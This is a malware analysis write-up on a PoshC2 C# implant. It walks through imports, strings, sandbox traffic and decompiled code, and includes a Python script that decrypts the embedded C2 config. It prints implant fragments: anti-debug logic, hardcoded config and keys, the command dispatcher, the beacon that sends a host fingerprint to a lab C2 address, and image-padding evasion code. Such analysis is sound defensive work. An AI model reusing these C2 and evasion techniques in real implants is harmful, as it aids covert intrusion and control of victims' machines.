TL;DR#
dropper_cs.exe is a PoshC2 C# implant. An AES-encrypted C2 configuration is embedded directly in the binary, decrypted at runtime to reveal the C2 address, beacon interval, session key, and URI pattern. The implant contacts 192.168.248.128:443, sending an AES-encrypted system fingerprint disguised as a SessionID cookie. Outbound data is padded with real image bytes to evade network inspection. All communication is encrypted with AES-CBC and SSL validation is disabled to allow self-signed certificates.
Once staging completes, the implant enters an indefinite beacon loop (KillDate: 2999-01-01), polling the C2 every 5 seconds ±20% jitter for commands. It supports 13+ commands including in-memory assembly execution, live reconfiguration, modular payload loading via Stage2-Core.exe, and named pipe communication for lateral movement. All operations are fileless — nothing is written to disk.
1SHA256 8E5EEB667A962DBEE803572F951D08A65C67A42ECB6D6EAF8EBAAF3681E26154
2Family PoshC2 — C# implant
3C2 https://192.168.248.128
4URI /vfe01s/1/vsopts.js/?c
5BeaconSleep 5s ± 20% jitter
6KillDate 2999-01-01
7Encryption AES-CBC, 256-bit keyinitial analysis#
1$ file *
2dropper_cs.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
SHA256: 8E5EEB667A962DBEE803572F951D08A65C67A42ECB6D6EAF8EBAAF3681E26154
libraries#
Confirmed that is .NET executable by seen a huge amount of mscoree.dl (Microsoft .NET Runtime Execution Engine)
imports#
1VirtualProtect KERNEL32.dll
2GetCurrentThread KERNEL32.dll
3TerminateThread KERNEL32.dll
4GetConsoleWindow KERNEL32.dll- VirtualProtect + PAGE_EXECUTE_READWRITE field: marks memory regions as executable, shellcode injection technique
- GetConsoleWindow + ShowWindow(SW_HIDE): hides console window from user
1Load mscoree.dll (runtime)
2CreateDomain, DoCallBack, Unload mscoree.dll (runtime)
3RunEphemeralAssembly, ActivateLoader mscoree.dll (runtime)
4RunTempAppDomain, RunAssembly mscoree.dll (runtime)- loads and executes assemblies directly from bytes, never touching disk
1Beacon, BeaconSleepMillis, Jitter mscoree.dll (C2 logic)
2GenerateUri, StageUrl, URIs mscoree.dll (C2 logic)
3GetCommands, SendTaskOutputString mscoree.dll (C2 logic)
4DownloadString, UploadData System.Net (WebClient)- beacon loop: sleep with jitter -> contact C2 -> receive commands -> send output
- GenerateUri: randomizes request URLs to evade pattern-based detection
1ProxyUrl, ProxyUser, ProxyPassword mscoree.dll (config)
2UserAgent, HttpReferrer mscoree.dll (config)
3set_ServerCertificateValidationCallback System.Net
4AllowUntrustedCertificates mscoree.dll- custom User-Agent, Referrer, proxy support
- SSL certificate validation disabled: allows self-signed C2 certs, MITM-friendly
1PadWithImageData, ImageDataObfuscator mscoree.dll (C2 logic)
2Images, ExtractImages mscoree.dll (config)- steganography: C2 traffic disguised as image data
1RijndaelManaged, AesCryptoServiceProvider System.Security.Cryptography
2Encrypt, Decrypt, CreateEncryptor mscoree.dll
3Key, GenerateIV mscoree.dll- AES encryption of all C2 traffic
1GetEnvironmentalInfo, GetCurrentProcess mscoree.dll / System.Diagnostics
2get_UserName, get_UserDomainName System
3IsHighIntegrity, WindowsPrincipal.IsInRole System.Security.Principal
4GetEnvironmentVariable System- system reconnaissance: username, domain, process name, PID
- IsHighIntegrity: checks for admin/SYSTEM privileges
strings#
1PAGE_EXECUTE_READWRITE
2SW_HIDE
3MULTI_COMMAND_PREFIX
4COMMAND_SEPARATOR - PAGE_EXECUTE_READWRITE - VirtualProtect constant, confirms shellcode injection capability
- SW_HIDE — hides console window on startup
- MULTI_COMMAND_PREFIX / COMMAND_SEPARATOR — supports batched command execution from C2
1reversedBase64Config
2!d-3dion@LD!-d hardcoded key (used in PoshC2)
3==wFR4yT0nuXyBLNH... reversed base64 ~600 chars (offset 0x04B25DE9)
4sI1bBV0hgqeoBBbXa/KqQx8... base64 (offset 0x04B2629C)- large reversed base64 blob (~600 chars) — embedded encrypted C2 configuration
1run-exe command
2run-dll command
3run-temp-appdomain command
4update-config command
5load-module command
6run-dll-background command
7run-exe-background command
8run-assembly-background command
9set-delegates command
10download-file command
11run-assembly command
12beacon command
13exit command
14multicmd command prefix- full C2 command dispatcher confirmed
- run-assembly / run-exe / run-dll — arbitrary in-memory code execution
- run-*-background — background task execution in separate threads
- load-module — dynamic loading of new modules pushed from C2
- download-file — exfiltration or additional staging
- update-config — live reconfiguration
1{0}/{1}{2}/?{3} URL format string
2SessionID={0} cookie/param
3Host
4User-Agent
5Referer - URL template {0}/{1}{2}/?{3} — randomized C2 url generation to evade pattern detection
- SessionID in cookie — mimics legitimate web session to blend into normal traffic
Overall conclusion: Strings confirm and extend the picture from imports — this is a PoshC2 C# implant (Stager/Dropper):
- Two-stage architecture: this binary is the stager, loads
Stage2-Core.exeentirely in memory - Embedded encrypted config: large base64 blob with C2 parameters, decoded via reverse + AES
- Full command loop: 13+ commands including live config update and modular payload loading
- Traffic masking: SessionID cookie, custom HTTP headers, randomized URL patterns
- Operational security: KillDate enforced, temporary AppDomains, all operations fileless
running in Sandbox#
Ran ANY.RUN sandbox with Fake Net enabled.
Sample sends 2 HTTP requests over ~40 seconds (beacon interval).
/vfe01s/1/vsopts.js/?c directly matches hardcoded format string {0}/{1}{2}/?{3}
HTTP Request:
1URL /vfe01s/1/vsopts.js/?c
2Protocol HTTP/1.1
3Method GET
4Cookie SessionID=nINTTfojq1v9MITeQO+JRekWX1/+Nqc6/BMwBNX6MaW6Wr
5 PdAzMWsLM/mYMLtMCokYOzh0jpmBMmDUCxfkytXVuMqxpQ/IECzNPp
6 KiI2ia/3OdtLwM8Qjk6mdnBJyza
7User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64)
8 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
9Host 192.168.248.128
10Connection Keep-Alive- uses legitimate Chrome User-Agent - this is the initial beacon fingerprint sent to C2 on first check-in

192.168.248.128:443 initiated 1288ms after process start
- traffic over port 443 (HTTPS)
reversing in DNSpy#
Started analysis from Main() function, which calls Sharp().
1public static void Main()
2{
3 Program.Sharp(0L, 0L);
4}anti-analysis#
The Sharp() function starts by hiding the console window.
1public static void Sharp(long callbackFunc = 0L, long baseAddress = 0L)
2{
3 Internals.ShowWindow(Internals.GetConsoleWindow(), 0);
4 byte[] array = new byte[0];
5...[snip]...Next it performs an anti-debug technique using a throw/catch exception. if the debugger is not attached, it triggers a divide-by-zero exception, which is caught by the catch (Exception) block where the main code begins execution. if the debugger is attached — no exception is thrown and the implant proceeds with an empty config, effectively disabling itself.
1try
2{
3 IntPtr intPtr = new IntPtr(0L);
4 long num;
5 if (Debugger.IsAttached)
6 {
7 num = baseAddress;
8 }
9 else
10 {
11 num = baseAddress / intPtr.ToInt64(); // intentional divide-by-zero
12 }
13 array = Encoding.BigEndianUnicode.GetBytes(num.ToString());
14}
15catch (Exception)
16...[snip]...Inside the catch block, the Config() constructor is initialized with hardcoded encrypted data.
1try
2{
3...[snip]...
4 Config config = new Config("==wFR4yT0nuXyBLNHGAHcm51H/B3CjLNxlp6/k3YhokMiGKy4cWkNtmW6Werm1nHWI4yPTbEchk4pGl54J4YH+d43Edan+kOVjPF/wMkpp7Jc3uXiBjCNEJSQNlNHL6ouI06gjISjsdqPTcLLN2JKAxYLSDtAUkarsF6AVXWknO4DYtUCO2xvwQvf43y4cdLNpuDhVUZv1P3emAcfl1EEA83qYGqIxiJsXvaVR/Nxgrl2/jqVO9XtBEMRkJgP/3JrTPgxp3P3kqIu0/WZvp7YApAXQTO8HRir077rNlcXOxqo1/jVsMTSSk3yiIv7nvmQfyMM/fCTp3o4Oeo6Bq/8/A3RH6gPB4sqNXhU4kVSQerYkP4dSKrKR+jfDYfKqr26TQuduOTcEI9E3tVvZXvZaWqDVUtvFdLviPO89B4Uzs5Wz9S709m91DLFgU0PDlubKyTPmR1qyM4JclfJbW9a60YdYsIm346hq38+Y2IHroOJUhmufrnXAHeX0yTmGq8nNGDpnQm8DpGm4At4MjdSgK0YW6HRWRYB4yoU07cv4hvZPvhXCChNk+fl4i9RDwcj7YtrY7fR4Nw+1us/nE6fsfM", "sI1bBV0hgqeoBBbXa/KqQx8FSWe/jqKFF9TBxehGxxc=");
5 Program.Init(config);
6...[snip]...
7}
8catch (Exception ex)Config(config, key) receives the encrypted config as a reversed base64 string. the string is first reversed, then passed along with the key to Decrypt(). the decrypted result contains another base64 string which is decoded again, producing plaintext that is passed to ParseConfigString().
Decrypt() extracts the first 16 bytes from the decrypted data as the IV, then constructs the cipher via CreateAlgorithm(key, iv).
CreateAlgorithm() implements AES-CBC with a 128-bit block size and 256-bit key.
To extract the plaintext config, a Python script was written to replicate the C# decryption logic: - reverse the base64 string - decode base64 → ciphertext bytes - first 16 bytes = IV, remaining bytes = ciphertext - decode key from base64 - decrypt using AES-CBC - decode result as base64 once more to get plaintext config
1from Crypto.Cipher import AES
2import base64
3
4rev_b64 = ("==wFR4yT0nuXyBL...fsfM")
5b64_key = "sI1bBV0hgqeoBBbXa/KqQx8FSWe/jqKFF9TBxehGxxc="
6
7b64 = rev_b64[::-1]
8ciphertext = base64.b64decode(b64)
9
10iv = ciphertext[:16]
11ct = ciphertext[16:]
12
13key = base64.b64decode(b64_key)
14
15cipher = AES.new(key, AES.MODE_CBC, iv)
16dec = cipher.decrypt(ct)
17
18dec = dec.rstrip(b'\x00')
19text = dec.decode('utf-8')
20raw = base64.b64decode(text)
21config = raw.decode('utf-8')
22
23print(config)config decryption result#
Running the decryption script against the embedded config produces the following plaintext:
1true;30;60;;;;;TW96aWxsYS81LjAg...;;2999-01-01;1;https://192.168.248.128,;https://192.168.248.128,;;;/vfe01s/1/vsopts.js/?c;;5s;0.2;Qqz6czYCfkrmlba4dF16YLO1vJq13piIlFlN+5o06/g=;;;parsed config fields:
1RetriesEnabled true
2RetryLimit 30
3StageWaitTimeMillis 60
4UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64)
5 AppleWebKit/537.36 Chrome/80.0.3987.122 Safari/537.36
6 (base64 decoded from TW96aWxsYS81LjAg...)
7KillDate 2999-01-01
8ImplantId 1
9StageUrl https://192.168.248.128
10BeaconCommsUrl https://192.168.248.128
11URI /vfe01s/1/vsopts.js/?c
12BeaconSleep 5s
13Jitter 0.2 (20%)
14Key Qqz6czYCfkrmlba4dF16YLO1vJq13piIlFlN+5o06/g=KillDate: 2999-01-01— effectively disabled, implant runs indefinitelyBeaconSleep: 5swithJitter: 0.2— beacon interval is 5 seconds ±20%, confirms ~40s gap observed in sandbox was due to fake.net retry backoff, not the configured sleepUserAgentfield matches exactly the User-Agent observed in HTTP request during sandbox analysisKey— AES session key used for encrypting beacon communications (separate from config decryption key)StageUrlandBeaconCommsUrlboth point to192.168.248.128— single C2 server for both staging and ongoing communicationURI: /vfe01s/1/vsopts.js/?c— confirms the exact path observed in sandbox network capture
Init() → Stage() → CommandLoop() analysis#
Init() — main execution entry point, called after config decryption and validation checks pass. It calls Stage() for initial C2 check-in, then enters CommandLoop() indefinitely
1private static void Init(Config config)
2{
3 IComms comms = new HttpComms(config);
4 Program._sendData = new Action<string, byte[]>(comms.SendTaskOutputBytes);
5 Program.Stage(config, comms);
6 Program.CommandLoop(config, comms);
7}CommandLoop() — main beacon loop, runs until KillDate.
1while (!(DateTime.ParseExact(config.KillDate, "yyyy-MM-dd", ...) < DateTime.Now))- loop continues as long as current date is before KillDate
- KillDate: 2999-01-01 extracted from config — implant runs indefinitely
task parsing:
1string text2 = text.Substring(0, 5); // first 5 chars = task ID
2string command = text.Substring(5); // remainder = command string- every command received from C2 is prefixed with a 5-character task ID
- task ID is used when sending output back to C2 to correlate responses
batch command support:
1commands.Replace("multicmd", "").Split(new string[]{"!d-3dion@LD!-d"}, ...)- multicmd prefix signals multiple commands in a single response
- !d-3dion@LD!-d is the hardcoded delimiter separating individual commands
- both strings were identified during static strings analysis
command dispatcher:
1exit -> dispose comms, terminate loop
2run-temp-appdomain -> execute assembly in isolated temporary AppDomain
3update-config -> live reconfiguration via config.Refresh()
4load-module -> load Stage2-Core assembly into memory, wire delegates
5run-dll/exe-background -> execute assembly in background thread
6run-dll/exe -> execute assembly in current thread
7run-assembly-background -> run ephemeral assembly in background thread
8run-assembly -> run ephemeral assembly in current thread
9set-delegates -> rewire Stage2-Core function pointers
10download-file -> execute via RunCoreAssembly, send output to C2
11beacon -> update sleep interval via SLEEP_REGEX parser
12<unknown command> -> fallback: passed to RunCoreAssembly (all custom modules)C2 communication layer#
Constructor initializes the steganography module ImageDataObfuscator for hiding C2 data inside image payloads, and disables SSL validation via AllowUntrustedCertificates() to allow self-signed certificates on the C2 server.
1internal HttpComms(Config config)
2{
3 this._config = config;
4 this._imageDataObfuscator = new HttpComms.ImageDataObfuscator(config);
5 Utils.AllowUntrustedCertificates();
6}Stage() — initial C2 check-in. Environmental fingerprint is AES-encrypted and sent as SessionID cookie, confirmed by sandbox HTTP capture. C2 URL is constructed from StageCommsChannels key + StageUrl from decrypted config.
1string cookie = Encryption.Encrypt(this._config.Key, environmentalInfo, false);
2string address = text + this._config.StageUrl;
3WebClient webClient = this.GetWebClient(cookie, hostHeader);
4string base64EncodedCiphertext = webClient.DownloadString(address);Steganographic payload padding#
PadWithImageData() disguises outbound C2 data by prepending a real image followed by random noise, making the payload appear as a legitimate image file to network inspection tools.
1internal byte[] PadWithImageData(byte[] data)
2{
3 int num = data.Length + 1500;
4 string s = this._config.Images[new Random().Next(0, this._config.Images.Count)];
5 byte[] array = Convert.FromBase64String(s);
6 byte[] bytes = Encoding.UTF8.GetBytes(HttpComms.ImageDataObfuscator.RandomString(1500 - array.Length));
7 byte[] array2 = new byte[num];
8 Array.Copy(array, 0, array2, 0, array.Length);
9 Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
10 Array.Copy(data, 0, array2, array.Length + bytes.Length, data.Length);
11 return array2;
12}Final payload structure is [image bytes] + [random noise] + [actual data], total size is always data.Length + 1500 bytes. Image is randomly selected from the Images list in decrypted config and base64-decoded. Noise fills the remaining space up to the 1500-byte header using RandomString().
RandomString() generates noise by sampling random characters from a fixed charset, producing unpredictable but low-entropy padding.
1private static string RandomString(int length)
2{
3 return new string((from s in Enumerable.Repeat<string>("...................@..........................Tyscf", length)
4 select s[Program.RANDOM.Next(s.Length)]).ToArray<char>());
5}The fixed charset "...................@..........................Tyscf" was visible as a raw string in the strings analysis at offset 0x04B25D81.